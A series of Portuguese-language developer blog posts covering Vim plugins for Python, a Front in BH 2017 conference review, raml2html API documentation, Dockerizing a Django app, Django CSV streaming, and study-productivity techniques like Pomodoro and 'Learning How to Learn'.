O primeiro exibe um simpático file explorer no lado esquerdo do editor, muito útil quando você não faz ideia do que está procurando, e tem que ter uma visão dos arquivos e diretórios do projeto:

Exemplo de uso do NERDTree

Com o uso do nerdtree-git-plugin ele fica ainda mais interessante, pois sinaliza os arquivos que sofreram modificações dentro de um repositório Git.

Já o ctrlp.vim é usado para buscas de arquivos e buffers. Muito útil para quando você já tem ideia do que vai procurar:

Exemplo de uso do ctrlp.vim

A instalação através do vim-plug é simples, como sempre:

" ~/.vimrc

(...)

Plug 'ctrlpvim/ctrlp.vim'
Plug 'scrooloose/nerdtree' | Plug 'Xuyuanp/nerdtree-git-plugin'

call plug#end()

(...)

Bônus: O ack.vim é um excelente plugin para buscas por conteúdo.

Executar testes: vim-test

O vim-test é um dos meus plugins favoritos! Ele é um wrapper que executa testes de diferentes granularidades, ou seja, executa o teste de um arquivo apenas, da suíte inteira, do mais próximo, do último testado, etc.

" ~/.vimrc

(...)

Plug 'janko-m/vim-test'

call plug#end()

(...)

let test#python#runner = 'pytest'

No exemplo acima, o runner configurado foi o pytest, mas dentro do ecossistema Python ele suporta os seguintes frameworks de testes: PyTest, Django, Nose, Nose2, e PyUnit.

É possível evocar o plugin para os diferentes níveis de testes através dos comandos :TestNearest, :TestFile, :TestSuite, :TestLast e :TestVisit.

Bônus: Utilizando o dispatch.vim como strategy no vim-test, será possível executar os testes assincronamente.

Executar comandos: dispatch.vim

Com o dispatch.vim, do Tim Pope, é possível executar comandos (como por exemplo, build ou testes) de forma assíncrona. O plugin se responsabiliza por escolher a melhor plataforma (tmux, tela, iTerm, headless, etc) de acordo com o ambiente no qual o Vim está rodando.

Exemplo de utilização do vim-dispatch

O plugin (até o momento) não utiliza a estratégia de jobs do Vim 8. Mas discussões sobre o assunto tem ocorrido, e é possível que uma solução seja incorporada em breve. Se utilizar o async do Vim é um desejo, o asyncrun.vim pode ser uma melhor opção.

Bônus: tmux

Com o tmux, tanto o vim-test quanto o dispatch.vim ficam ainda mais interessantes:

Exemplo de utilização do vim-dispatch com tmux

Interessado no tmux? O bugsnag possui um bom artigo sobre tmux + Vim.

Considerações finais

O .vimrc abaixo é o resultado de todos os plugins apresentados nesse artigo:

" ~/.vimrc

call plug#begin('~/.vim/plugged')

" Lista de plugins
Plug 'sheerun/vim-polyglot'
Plug 'w0rp/ale', { 'do': 'pip install flake8 isort yapf' }
Plug 'maralla/completor.vim', { 'do': 'pip install jedi' }
Plug 'davidhalter/jedi-vim'
Plug 'ctrlpvim/ctrlp.vim'
Plug 'scrooloose/nerdtree' | Plug 'Xuyuanp/nerdtree-git-plugin'
Plug 'janko-m/vim-test'
Plug 'tpope/vim-dispatch'

call plug#end()

" Ale
let g:ale_fix_on_save = 1
let g:ale_fixers = {
\   'python': [
\       'isort',
\       'yapf',
\       'remove_trailing_lines',
\       'trim_whitespace'
\   ]
\}

" Jedi
let g:jedi#completions_enabled = 0

" vim-test
let test#python#runner = 'pytest'

Embora haja uma vertente que defende o uso mínimo (ou nulo) de plugins no Vim, para mim eles são um dos pontos altos do editor e sem dúvida são os responsáveis por me ajudar a manter uma boa produtividade. Se você, assim como eu, não tem a mínima pretensão de ser um "vim-master", use sem medo. Tenho certeza que eles te ajudarão a lidar com os problemas do dia a dia.

Até a próxima.

Referências

Opinião: Front in BH 2017

Tue, 26 Sep 2017 15:15:00 GMT

E mais uma vez tive a oportunidade de acompanhar o trabalho do @davidsonfellipe, @keppelen e de tantos outros colaboradores, na realização do Front in BH 2k17. Que na minha opinião é {hipérbole-alert} um dos melhores eventos de front-end desse país {/hipérbole-alert}.

Disclaimer 1: Sim! Esse artigo é completamente parcial. Embora eu seja (atualmente) um desenvolver back-end, tenho um enorme carinho por esse evento. E essa edição foi mais que especial pois a Giselli Brasil, minha esposa, esteve presente e assistiu as apresentações comigo.

Disclaimer 2: Infelizmente não pude ficar até o final, e acabei perdendo as apresentações de Beto Muniz, Paula Faria, Marco Gigliarano, Michael Lancaster e Felipe Silva.

TL;DR

O evento foi muito bom. Fora alguns probleminhas com o acesso a Wi-fi (provavelmente mais culpa minha do que da organização), a experiência foi muito boa (como tinha sido lá em 2013). É um evento diferente de Python Brasil, FISL ou BrazilJS. Menor e mais focado, com apenas uma trilha, você sabe exatamente o que irá assistir. Isso não o torna menos interessante! Particularmente gosto de eventos assim e as minhas expectativas foram completamente atendidas.

Uma das conclusões que tirei é, caro leitor (principalmente você, nobre colega de back-end), se você estiver fazendo front-end sem utilizar componentização, você não está "surfando a onda".

@tessamero - Revolutionize Your Workflow with ChatOps

Para abrir o dia, a Tessa deu uma aula de simpatia e uma rápida introdução ao mundo dos ChatOps. Segundo a sua apresentação, ChatOps é:

(...) a way of collaborating which connects teams, tools, & processes to create an automated and transparent workflow.

Na Loadsmart estamos testando o conceito através de Slack + Heroku. O artigo do Heroku Dev Center é uma maneira de ver esse conceito funcionando na prática: https://devcenter.heroku.com/articles/chatops.

A palestra em si foi bem introdutória, mas com conteúdo o suficiente para atiçar a curiosidade do público.

@guilhermebruzzi - App multiplataforma compartilhando 90% do código

O Guilherme, em uma das palestras mais interessantes do evento, apresentou como a VTEX leva a multiplataforma para um novo nível, reaproveitando grande quantidade de código no Desktop e Mobile.

Entre as ferramentas citadas, os já esperados React e React Native marcaram presença. Além disso, ouvimos falar também de Tachyons, Redux Logic e Redux Persist.

Foto do logotipo do Front in BH

O que mais me chamou a atenção em seu talk foi a parte de bridging entre React e as interfaces nativas dos aparelhos. Confesso que até então não tinha ouvido falar do assunto: http://www.codepool.biz/react-native-bridging-modules-android.html

@diogomoretti_ - CSS {Grid} Layout

Logo na sequência veio o Diogo Moretti, com toda a acidez e irreverência, dar um puxão de orelha na galera que ainda acha que sistemas de Grid são a salvação do mundo.

Eu (que sou "Pure CSS lover") tomei um choque de realidade com essa palestra. O mundo do front-end está mudando, e eu simplesmente não fazia ideia de que havia uma maneira mais elegante de resolver a questão de grids.

Confira os slides da palestra.

Um dos highlights da apresentação foi:

Grids não-semânticos só fazem sentido com CSS Puro.

E em tempos onde fazer "CSS puro" está cada vez mais raro, tendo a concordar com a opinião do Diogo.

Então, ao acabar de ler esse post, não deixe de conferir:

Felipe Silvestre & @markinmoura - Level Up! Como evoluir as tecnologias da sua Startup?

O pessoal da Hotmart marcou presença no evento como patrocinadores e também como palestrantes. O tema foi o racional por trás da escolha do Vue.js, levando em consideração o ambiente dinâmico de uma Startup.

Através de um processo bem pragmático (e deveras democrático), eles foram capazes de escolher a ferramenta, medindo diferentes aspectos e seus prós e contras.

Estou aguardando ansiosamente a publicação dos slides para "roubar" o método para mim.

Ilya Gurevich - Moving from Angular to React

E a Loadsmart^firma também marcou presença, enviando o Ilya para falar da experiência de mudar um produto feito em Angular para React.

Eu sou completamente suspeito para falar sobre essa apresentação, já que trabalho com o Ilya, e sei das dores de manter a solução em Angular. Mas o mais bacana é que ele abriu alguns detalhes, como por exemplo, a necessidade de manter tanto Grunt quanto webpack rodando em paralelo, já que ainda existe um legado em Angular que precisa estar operacional, além das novas features que ganham vida em React diariamente.

Além disso, deixou saliente as dificuldades de escrever React, e os riscos de mover grandes pedaços de lógica de negócio (que estão lá funcionando há anos) para uma nova ferramenta.

Sem dúvida, uma palestra apaixonada.

Considerações finais

Por motivos de força maior, não pude acompanhar as demais palestras do dia. Mas seguindo a reação do público no Twitter, fica evidente que o pessoal gostou bastante.

Saí completamente satisfeito do Teatro Ney Soares. E o cafézinho mineiro em Confins foi a cereja do bolo.

Veja a lista de todas as palestras aqui.

Até a próxima, e espero te encontrar no Front in BH 2k18 :)

Documentando a sua API com raml2html

Sat, 16 Sep 2017 00:15:00 GMT

Uma das coisas mais legais em relação ao RAML (e afins) é a diversidade de ferramentas que existem em seu ecossistema. Embora a especificação por si cumpra o seu papel, são elas que trazem "mais cores" aos resultados práticos de ter uma spec para a sua API.

No universo do RAML, existe algumas boas ferramentas que geram documentação a partir da especificação. Soluções que vão do Python, Wikis, ASP.net e até ao Java. Mas acredito que a ferramenta mais atual seja o raml2html, feito em Node.js.

Simples, como as melhores coisas da vida

O raml2html é uma biblioteca que transforma specs RAML em HTML. E o mais legal é que a sua versão 4 suporta a versão 1.0 da linguagem.

Aguenta mais um pouco dessa poesia Vogon (imagilendo.wordpress.com)

Vamos aproveitar o "mini IMDB" construído no post de RAML, para ilustrar como essa ferramenta funciona. Mas antes, aquele npm install clássico:

$ npm i -g raml2html

Agora é só chamar o utilitário de linha de comando:

$ raml2html api.raml > index.html

Pronto! Basta abrir o arquivo no seu navegador favorito:

Exemplo de documentação RAML

Simples, não? Calma que ainda não acabou! Existe a possibilidade de utilizar temas juntamente com o raml2html:

$ npm i -g raml2html-markdown-theme

Agora basta passar o tema na hora de gerar a documentação:

$ raml2html --theme raml2html-markdown-theme api.raml > index.md

Sem dúvida, um dos templates mais legais que temos disponível é o raml2html-slate-theme. Completo, e baseado no próprio Slate, famosa ferramenta para criação de documentação de APIs:

Exemplo de documentação RAML

Você pode criar o seu próprio template! Eles são escritos utilizando o Nunjucks, linguagem de templates Javascript da Mozilla.

Considerações finais

O post de hoje foi uma dica rápida e rasteira.

A partir do momento que você pratica o design first, ter uma especificação RAML como "single source of truth" é um caminho no mínimo razoável. Com isso, gerar documentações através de ferramentas como a apresentada nesse artigo torna-se algo rápido e prático.

Até a próxima!

Uma ode ao Docker - Parte 3

Fri, 11 Aug 2017 18:00:00 GMT

Nos posts anteriores arranhamos um pouco o conceito por trás do Docker, bem como introduzimos o utilitário de linha de comando docker. Nesse último artigo da série, vamos explorar como usar o Dockerfile no empacotamento de uma aplicação Django.

Se você ainda tem dúvidas em como "encaixar" o Docker no seu fluxo de desenvolvimento, o artigo "Why I Switched from a Traditional Deployment to Using Docker" pode ser uma boa leitura.

Configurando a aplicação Django

Vamos configurar uma aplicação de exemplo para sermos capazes de dar os passos necessários na criação do Dockerfile. Primeiramente, vamos criar virtualenv Python com pyenv:

$ pyenv virtualenv 3.6.1 helloworld-django-docker

Criamos o diretório para o projeto:

$ mkdir ~/Workspace/helloworld
$ cd ~/Workspace/helloworld/

Ativamos o virtualenv:

$ pyenv activate helloworld-django-docker

Instalamos as dependências Django e iniciamos o projeto:

$ pip install django gunicorn
(...)

$ pip freeze > requirements.txt
$ django-admin startproject helloworld ~/Workspace/helloworld

Rodamos o python manage.py runserver só para termos certeza que está tudo ok:

It worked

Além disso, garantimos que o gunicorn rodará sem maiores problemas:

$ gunicorn helloworld.wsgi:application \
    --bind 0.0.0.0:8000 \
    --workers 3

Para saber mais sobre o Gunicorn, leia a documentação oficial do projeto.

Entra o Dockerfile

Com o Docker instalado, vamos começar a escrever o Dockerfile. O Mundo Docker define o arquivo como:

(...) um arquivo de definição onde é possível realizar ou preparar todo ambiente a partir de um script de execução. Em resumo, o Dockerfile é um arquivo texto com instruções, comandos e passos que você executaria manualmente, basicamente o Docker executa uma receita de bolo.

É nesse arquivo que escreveremos todos os procedimentos que o Docker executará para criar a imagem da nossa aplicação.

Por partes, como diria Jack

Começamos especificando qual será a "imagem base" da nossa imagem/container. Faremos isso através da expressão FROM. Poderíamos dizer aqui que queremos estender a imagem _/debian e realizar toda a instalação do Python. Mas felizmente já existem imagens prontas com a linguagem no Docker Hub. Vamos com a imagem oficial como base:

# Dockerfile

FROM python:3

Quando "buildarmos", o Docker baixará a imagem do Python do repositório (se ela já não existir localmente em sua máquina), e dará sequência às instruções encontradas no Dockerfile.

Uma boa prática é "fecharmos o escopo" de trabalho ao setar explicitamente qual será o diretório no qual iremos realizar demais operações como cópia de arquivos ou execução de binários. Para isso temos o comando WORKDIR:

FROM python:3

WORKDIR /usr/src/app

Agora podemos instalar o Django e o Gunicorn, assim como fizemos no início desse artigo:

FROM python:3

WORKDIR /usr/src/app

COPY requirements.txt ./
RUN pip install -r requirements.txt

Você já deve ter reparado um padrão na escrita do Dockerfile, certo? Os comandos (em maiúsculo) determinam qual operação será realizada. Os parâmetros (em minúsculo) determinam como isso irá ocorrer.

Escrever Dockerfile é tipo falar baleiês (insidethemagic.net)

No caso do comando COPY, passamos o arquivo requirements.txt da nossa "máquina local" para o container, assim o Docker será capaz de encontrar o arquivo e realizar a instalação das dependências através do comando pip.

Para finalizar, podemos copiar o resto do projeto e executar o servidor WSGI:

FROM python:3

WORKDIR /usr/src/app

COPY requirements.txt ./
RUN pip install -r requirements.txt

COPY . .

CMD ["gunicorn", "helloworld.wsgi:application", "--bind=0.0.0.0:8000", "--workers=3"]

Comandos RUN serão executados em tempo de build. São essenciais para a construção do ambiente, e são responsáveis pelos "layers" discutidos nos posts anteriores. Portanto é bem comum vermos comandos como RUN apt-get dist-upgrade -y. Já o CMD será executado no momento que a sua imagem for executada.

Diferença entre RUN, CMD e ENTRYPONT.

E se você está se perguntando o motivo de termos dois COPY, essa prática é útil para o mecanismo de caching do Docker e invalidação do mesmo, como pode ser visto no guia de boas práticas.

"Build" é quase BIRL!

Hora de "buildar"! Execute o seguinte comando:

$ docker build -t <docker-hub-user>/helloworld-django-docker .

Onde:

build: É o comando para criar uma imagem Docker a partir de um Dockerfile;
-t: O parâmetro -t é utilizado para nomear e tagear a imagem em questão. É interessante usar o padrão <usuario-ou-repositorio>/nome-da-imagem;
.: O caminho onde encontra-se o Dockerfile.

Se tudo der certo, será possível listar a imagem recém criada:

$ docker images

REPOSITORY                         TAG    IMAGE ID
kplaube/helloworld-django-docker   latest b8d3b0c234a9

Agora sim seremos capazes de executar a aplicação Django através de um container:

$ docker run -it -p 8000:8000 <docker-hub-user>/helloworld-django-docker

E mais uma vez seremos capazes de ver o "It worked!" em http://localhost:8000.

Belezura! Uma vez que a imagem esteja ok, podemos publicá-la no Docker Hub (afinal, propaganda é a alma do negócio):

$ docker push <docker-hub-user>/helloworld-django-docker

E... voilá! A imagem foi publicada no Docker Hub.

Antes de ir: Efêmero

Nos posts anteriores demos uma pincelada numa das características dos containers que é a sua "efemeridade". Isso significa que, a cada nova versão da sua app Django você terá que "buildar" uma nova versão da imagem Docker. A boa notícia é que com o mecanismo de caching do Docker essa operação deverá ser ligeiramente mais rápida do que da primeira vez.

Além disso, mesmo que você tenha uma leve camada de escrita ao executar um container, a informação será perdida ao parar/reiniciar o mesmo. Portanto, o uso de Docker Volumes é essencial quando se faz necessária a persistência de dados.

Considerações finais

Com esse post fechamos essa pequena ode ao Docker. Sem dúvida, uma ferramenta que vem mudando paradigmas (o mais recente deles com o lançamento da versão 1.0 do Container Standards).

Pretendo abordar mais sobre Docker aqui no blog, principalmente detalhando melhor o uso do mesmo no deploy de aplicações Django. Com a adoção de conteinerização por serviços PaaS como Heroku e Openshift, há muito assunto a ser explorado nessa seara.

Até a próxima!

Referências

Aprendendo a Aprender

Thu, 27 Jul 2017 20:30:00 GMT

Já mencionei o "Aprendendo a Aprender" no post sobre Pomodoro, e faço questão de citá-lo sempre que possível. O curso, ministrado por Barbara Oakley, além de inspirador apresenta uma série de ferramentas que irão te ajudar a aprender o mais maçante dos conteúdos (e farão bem à sua memória).

O ABBC bem que tentou descrever a tutora:

É difícil definir uma profissão para Barbara Oakley. Ela se formou em Literatura e Línguas Eslavas, trabalhou como tradutora no exército americano, até que decidiu estudar engenharia! Hoje, ela tem um currículo invejável, que passa por disciplinas tão distantes quanto Letras, Engenharia e Biologia. É PhD, professora de Engenharia na Universidade de Oakland, em Rochester, Michigan. Sua pesquisa atualmente se concentra na complexa relação entre neurociência e comportamento social.

É com esse gabarito todo que Barbara, acompanhada de Terrence Sejnowski, dá o curso através da plataforma Coursera, totalmente grátis. Mesmo que você (assim como eu) não tenha a pretensão de virar um estudioso, eu super recomendo!

Abaixo, com ajuda de algumas referências espalhadas pela web, eu relembro alguns conceitos que aprendi durante as 4 semanas de curso.

Combata a procrastinação

Sair de inércia é um desafio imenso (pelo menos pra mim). Não importa o quão recompensador ou empolgante for a tarefa, meu cérebro entende que ir pro Netflix sempre trará resultados maiores.

É um comportamento comum: Focamos no resultado final, e o resultado final não é fácil de atingir imediatamente. Ao contrário da satisfação instantânea de assistir a um seriado.

A dica é: Foque no processo. Ao invés de "preciso aprender XYZ", prefira "vou dedicar 1 hora aprendendo XYZ, começando por Y". O (supracitado) Pomodoro Technique pode te ajudar com isso.

E Lembre-se: "Um pouco" é melhor que nada.

Aprenda de forma ativa

Procure relembrar! Nem só ler, ou copiar, ou ainda usar "caneta marca texto". Quantos livros você já leu e tava tão focado em acabá-lo que semanas depois não era mais capaz de lembrar dos detalhes da trama?

Absorver o conteúdo de forma passiva é outra "traquinagem" do nosso cérebro. A sensação de progresso é reconfortante, mas outra vez estamos cometendo o pecado de focar no resultado final e não no processo.

A dica é: Relembre. Explique o que você acabou de aprender para você mesmo ou algum amigo. Relembre as principais ideias em um lugar diferente daquele no qual você costuma aprender.

E por mais clichê que possa parecer, teste os seus conhecimentos. Isso será crucial para que você seja capaz de revisitar pontos dos quais ainda possui dúvidas.

"Indexe" o conteúdo que você está aprendendo

Para aprender a tocar uma música, é mais fácil separá-la em partes (intro, verso, refrão, etc) e praticar parte por parte, até que você seja capaz de "amarrá-las" e tocá-la por inteiro.

Podemos usar a mesma analogia (e fazer analogias é uma boa ferramenta para entender conteúdos) para o processo de aprendizado como um todo: É mais eficaz quebrarmos um determinado tema em conteúdos menores e iterativamente aprendê-los.

Voltando ao exemplo da música. Quando estamos aprendendo a tocar o refrão nossa memória de curto prazo (que tem pouco poder de armazenamento) é completamente preenchida pelos acordes que o compõe. Através da repetição, conseguimos "dar significado" àquele bloco até chegar o momento em que não pensamos mais nos acordes em si, e sim no "bloco como um todo".

Trazendo pro lado da TI, é quase como "zipar" o conhecimento e indexá-lo em um banco de dados (que seria a nossa memória de longo prazo) através de uma chave que faça muito sentido para nós.

A dica é: Use analogias para dar maior significado a um determinado assunto. Separe o conteúdo em pequenos grupos e aplique o processo de aprendizagem para cada um.

E não envergonhe-se de técnicas como "bem/mal, bom/mau".

Aprenda de forma espaçada

Por mais surpreendente que possa parecer, estudar 10 horas num dia não vai te deixar mais preparado para uma prova que ocorrerá no dia seguinte, do que estudar 1 hora em 10 dias. Isso segundo Douglas Fields, que propõe que através de aprendizagem espaçada a informação entra de maneira mais fácil na memória de longo prazo.

Além disso, seu cérebro precisa de descanso. Estudar horas a fio ou negligenciar noites de sono pode trazer malefícios à saúde e principalmente ao seu processo de aprendizagem. É através do sono, por exemplo, que o seu cérebro passa por um "período de manutenção", eliminando toxinas, fortalecendo memórias importantes e descartando as menos importantes.

Cursos de algorítmos do Coursera te farão querer afundar a cara nos livros (blogossus.com)

E quando você faz uma pausa, o cérebro entra no famigerado "modo difuso". Que pode ser (vulgarmente) explicado como ele trabalhando em segundo plano para construir novos padrões neurais, ajudando-o a resolver problemas complexos, ter novas ideias ou entender algo melhor.

A dica é: Ao invés de estudar 5 horas nas quartas-feiras, estude 1 hora 5x na semana. Descanse, faça pausas durante os estudos (olha o Pomodoro aí de novo), pratique exercícios, caminhe e quebre a rotina.

E não subestime os "eurekas" durante o banho.

Tenha a sensação de progresso

Você não sobe numa esteira sem saber quantos quilômetros ou minutos vai ficar correndo nela, certo? (Certo?)

Seu cérebro sente-se premiado com a sensação reconfortante do progresso. E embora exista o risco de cair nas armadilhas dos dois primeiros tópicos, entender onde você quer chegar e saber o quanto você já caminhou é fundamental para se manter motivado.

A dica é: Pense de onde você veio e aonde quer chegar estudando determinado assunto. "Trackeie" o seu progresso. Faça as coisas mais difíceis primeiro, a realização delas te dará motivação para seguir em frente.

Ter a sensação de progresso é um fator motivante. Não o subestime.

Considerações finais

Eu recorri ao curso após falhar duas vezes seguidas nos testes de uma determinada especialização do Coursera. É bem verdade que algumas das técnicas acima são bem conhecidas, mas eu nunca tive a noção do quanto elas (através de uma forma pragmática) podem auxiliar no processo de aprendizagem de diferentes assuntos.

Inclusive, esse artigo faz parte do meu processo de chunking apresentado pelo próprio "Aprendendo a Aprender". É algo que costumo fazer com frequência: Ao aprender um conteúdo novo, eu escrevo sobre e compartilho. Isso me motiva a fazer uma pesquisa maior e me faz relembrar conceitos, "fixando" melhor o assunto.

Vários pontos importantes não foram abordados nesse post (como construção de redes neurais, diferença de memória de curto e longo prazo, como fazer chunking, aspectos visuais da memória e como tirar proveito disso, palácio das memórias, etc), portanto saliento uma vez mais: Não deixe de conferir o curso no Cousera.

Aproveite também para conferir o bom artigo da Cindy Dalfovo no Medium.

Obs.: Não li o livro (de mesmo nome e autor), mas está bem avaliado na Amazon.

#ficadica

Referências

Pomodoro FTW!

Thu, 29 Jun 2017 18:20:00 GMT

Sim, meus amigos! O título poderia ser "esse é mais um post sobre Pomodoro Technique", e embora haja toneladas de artigos na web sobre o assunto, me sinto na obrigação de falar um pouquinho sobre ele aqui também. Afinal, além de ser uma prática simples e que apresenta resultados, é ela que tem salvo a produtividade das minhas tardes de home office.

Então prepare o seu timer e vamos entender como essa técnica funciona.

25 minutos focados, 5 minutos de descanso

E vamos lá no oráculo da produtividade para entender o que é o Pomodoro Technique. Segundo o Lifehacker:

(...) is a cyclical system. You work in short sprints , which makes sure you're consistently productive. You also get to take regular breaks that bolster your motivation and keep you creative.

É possível resumir a técnica inteira nos seguintes passos:

Escolha uma tarefa que você queira concluir
Configure o seu timer para 25 minutos
Trabalhe nessa tarefa até o timer despertar
Faça uma pausa de 5 minutos
Repita do início
A cada 4 "sprints" de 25 minutos, faça uma pausa de 15 minutos

Esse é basicamente o framework da técnica, sendo que existem algumas premissas fundamentais:

O ato de "trabalhar focado durante 25 minutos" é chamado de Pomodoro.
O ideal é que uma tarefa seja grande o suficiente para caber dentro de um Pomodoro.
Embora não seja de senso comum, os tempos de trabalho focado e repouso podem ser adaptados. Por exemplo, eu costumo fazer pausas longas de 30 minutos ao invés de 15.

Durante cada Pomodoro, feche o seu Facebook, ignore o seu celular e foque completamente no que precisa ser feito. Nos minutos de folga, usufrua de sua recompensa (redes sociais, Youtube, uma passadinha no 9gag ou até mesmo aquele cafézinho).

Adestramento?

A técnica criada por Francesco Cirillo tem por objetivo te ajudar a melhorar a concentração, evitar distrações e combater a procrastinação. E embora ela seja amplamente recomendada, não é vista com bons olhos por todo o mundo.

Não é o Ataque dos Tomates Assassinos, mas vai te ajudar a matar a procrastinação (killertomatoes.com)

Eu mesmo não sigo à risca os passos acima. Geralmente recorro ao Pomodoro quando estou com dificuldades de concentração, ou quando preciso encarar uma tarefa que é muito penosa de se executar. Segundo o "Aprendendo a Aprender", com auxílio da técnica você faz com que o seu cérebro foque na execução do processo ao invés de focar no resultado da atividade (atingir os 25 minutos é muito mais palpável que finalizar aquele livro técnico que você está levando meses para terminar e só está na página 13). Com isso, diminuímos aquela resistência natural de "hoje não, vou deixar para amanhã" e driblamos a procrastinação.

Outra coisa que eu não consigo fazer é quebrar as tarefas em tamanhos ideais para caberem em um Pomodoro. O que tem funcionado é gastar quantos Pomodoros forem necessários para mover uma task de DOING para DONE. Além disso, se percebo que estou embalado no raciocínio, negligencio algumas pausas e emendo os sprints focados.

Existe abertura para adaptação da técnica. Mas mesmo assim, ouço relatos de amigos e conhecidos que tentaram usá-la e a acharam muito restritiva. Em alguns momentos ela chega a atrapalhar, é verdade, mas na grande maioria das vezes foi a salvadora dos meus dias de home office.

Ferramentas

O nome Pomodoro vem do cronômetro gastronômico na forma de um tomate que Cirillo usava em suas sessões. E embora seja muito maneiro ter um gadget desses à disposição, qualquer cronômetro é o suficiente para praticar a técnica.

Algumas fontes sugerem que "quanto menos tecnologia, melhor". Mas eu prefiro confiar no Tomato One, Moosti ou no Brain Focus. Ter uma noção de quantos Pomodoros você está realizando te dará uma percepção melhor de progresso, sendo possível averiguar se a técnica está funcionando ou não.

Considerações finais

Sempre tive certo carinho por essa prática, principalmente após começar a trabalhar remoto. Ao contrário do que muitos artigos vendem, ela não é uma técnica "bala de prata" e é provável que haja uma grande resistência no início de sua adoção.

Existem diferentes formas de "getting things done" e de dar boost em sua concentração (você conhece o Noisli?), mas desconheço uma forma tão simples e pragmática quanto a Técnica Pomodoro.

(IMO) Vale a pena tê-la no seu tool belt.

Até a próxima.

Referências

Streamando dados no Django

Sun, 14 May 2017 15:45:00 GMT

Recentemente na Loadsmart, houve a necessidade de lidar com um cenário onde se faz necessário acessar uma view que retorna um CSV de tamanho considerável, gerado a partir de parâmetros dinâmicos, no melhor esquema "imprima um relatório".

Embora o Django seja desenhado para requisições curtas, existe a possibilidade de fazer streaming de grandes arquivos CSVs através da classe StreamingHttpResponse.

Vale a nota: Esse artigo é sobre CSVs, mas você também pode "streamar" outros tipos de dados através desse método supimpa.

Motivação

Em determinados cenários, precisamos retornar arquivos relativamente grandes para o usuário. O exemplo acima, uma requisição com parâmetros que irão gerar um relatório em CSV, é um caso bem comum.

O comportamento de resposta padrão do Django é retornar uma instância de HttpResponse. O problema é que nesse modo carregaremos o arquivo inteiro para a memória do servidor, e só depois enviamos o arquivo para o cliente. Além de prejudicarmos o Time To First Byte (TTBT), podemos gerar picos de memória na máquina hospedeira (que podem afetar demais requisições sendo processadas) e timeouts de conexão.

Um exemplo de como faríamos esse retorno através do HttpResponse:

import csv
from django.http import HttpResponse
from django.view import View


class CsvReportView(View):
    def get(self, request, *args, **kwargs):
        # Abstraindo a logica de filtro por parametros do request
        cargoes = Cargoes.objects.filter_by_request_parms(request)

        response = HttpResponse(content_type='text/csv')
        response['Content-Disposition'] = 'attachment; filename="filtered_cargoes.csv"'

        writer = csv.writer(response)

        for row in cargoes.values_list('id', 'commodity', 'weight'):
            writer.writerow(row)

        return response

Se você tem certa intimidade com geradores, deve estar supondo que essa pode ser uma maneira de solucionar esse problema... e você está certo!

Como funciona o StreamingHttpResponse?

O StreamingHttpResponse funciona com a ajuda do conceito de generators. Achei uma excelente definição no Stackoverflow:

(...) is simply a function which returns an object on which you can call next, such that for every call it returns some value, until it raises a StopIteration exception, signaling that all values have been generated. Such an object is called an iterator.

É a melhor maneira de resolver esse problema?

Caso a sua única opção seja retornar o dado através de uma view Django, sim. Além de um uso mais eficiente de memória, o retorno do StreamingHttpResponse vai impedir que, por exemplo, um load balancer feche a conexão do seu usuário pelo fato de o serviço Django estar levando muito tempo para montar a resposta.

O Django com StreamingHttpResponse fica mais biznis (thelegomovie.wikia.com)

Mas segundo a recomendação da própria documentação do StreamingHttpResponse, já que essa é uma "operação bloqueante", o ideal seria realizá-la em um background job (por exemplo) e deixar com que o usuário acesse essa informação quando ela já estiver pronta.

O django-report-builder entrega essa modalidade de "asynchronous reports" através do Celery.

Considerações finais

É fato que a "mágica pesada" fica no lado do WSGI, como você pode ver aqui. O Django "faz o que pode" quando o assunto é lidar com grandes volumes de dados. Mas o ideal é sempre deixar essa carga de processamento fora do ciclo de vida da requisição do usuário.

Mesmo assim, o StreamingHttpResponse vem como uma boa alternativa para resolver alguns problemas de views com tempos de resposta e consumo de recursos muito altos, podendo ser a solução ideal para alguns relatórios que você emite em sua aplicação.

Até a próxima.

Referências

Uma ode ao Docker - Parte 2

Mon, 01 May 2017 22:25:00 GMT

No post anterior falamos sobre o Docker, e arranhamos um pouco sobre a diferença entre virtualização com Hypervisor e Container. Nesse post, vamos explorar um pouquinho mais alguns conceitos, mostrando como funciona essa ferramenta que é sensação quando o assunto é virtual machines.

Mas antes, vamos relembrar o que é o Docker:

"Docker is an open platform for building, shipping and running distributed applications. It gives programmers, development teams, and operations engineers the common toolbox they need to take advantage of the distributed and networked nature of modern applications."

Em uma linguagem mais simples, Docker lhe dá a habilidade de executar aplicações dentro de um ambiente controlado, conhecido como Container. Containers são similares às tradicionais máquinas virtuais, contudo, eles compartilham o mesmo sistema operacional e provém um conjunto de comandos que permitem a execução e controle da sua aplicação ou processo.

Veja a diferença entre Vagrant e Docker.

Instalando

Talvez você se depare com alguns artigos na Internet, que ao falar sobre a instalação do Docker, também mencionem boot2docker ou a necessidade do docker-machine. Houve um tempo onde utilizar Docker em máquinas Windows ou OSX não era tão trivial assim... mas esse tempo ficou para trás.

Hoje, basta acessar a página de download, selecionar o seu sistema operacional, e seguir o passo a passo (que geralmente consiste em uma série de "next-next-finish").

Entenda a diferença entre o Docker Toolbox e Docker for Mac.

Uma vez instalado, através do terminal execute o seguinte comando:

$ docker images

REPOSITORY   TAG   IMAGE  ID   CREATED   SIZE

Esse é o momento ideal para falarmos de outro conceito muito importante dentro do Docker: Images.

Imagens

Segundo a documentação oficial:

An image is a lightweight, stand-alone, executable package that includes everything needed to run a piece of software, including the code, a runtime, libraries, environment variables, and config files.

Ou seja, um Docker Image é um binário que inclui todos os requisitos necessários para rodar um Container. Podemos pensar sobre esse conceito como uma tecnologia para empacotamento (ou até mesmo como uma espécie snapshot), onde não só definimos nossa distribuição Linux ou serviços utilizados (como Postgres ou Nginx, por exemplo), como também adicionamos a nossa própria aplicação ao pacote.

Uma imagem é imutável, ou seja, read only. Imagens geralmente são compostas por outras camadas de imagens (image layers). Isso é um approach interessante, já que uma vez que uma camada seja baixada ela não precisará ser baixada novamente, mesmo se outras imagens utilizarem da mesma camada:

Esquema representando o Sistema de Arquivo (docs.docker.com)

Um Docker Container em vias práticas é uma "instância" da imagem... é o que a imagem se torna em memória ao ser executada. De forma preguiçosa, podemos fazer a analogia com a Orientação a Objetos, onde a imagem pode ser comparada com uma classe, e a instância com um Container. Podemos ter tantos containers quanto necessário para uma mesma imagem.

Um pouco de prática

Vamos baixar a nossa primeira imagem Docker. Para isso, execute o seguinte comando:

$ docker pull docker/whalesay

O comando docker pull fará o download da imagem docker/whalesay para o seu computador. Essa imagem está hospedada (por padrão) no Docker Hub, uma espécie de "Github para imagens Docker".

Welcome to Nginx!

É claro que o Docker é muito mais poderoso do que isso. Por exemplo, vamos baixar o Nginx e ver como podemos receber uma simpática tela de "It's working":

$ docker pull nginx

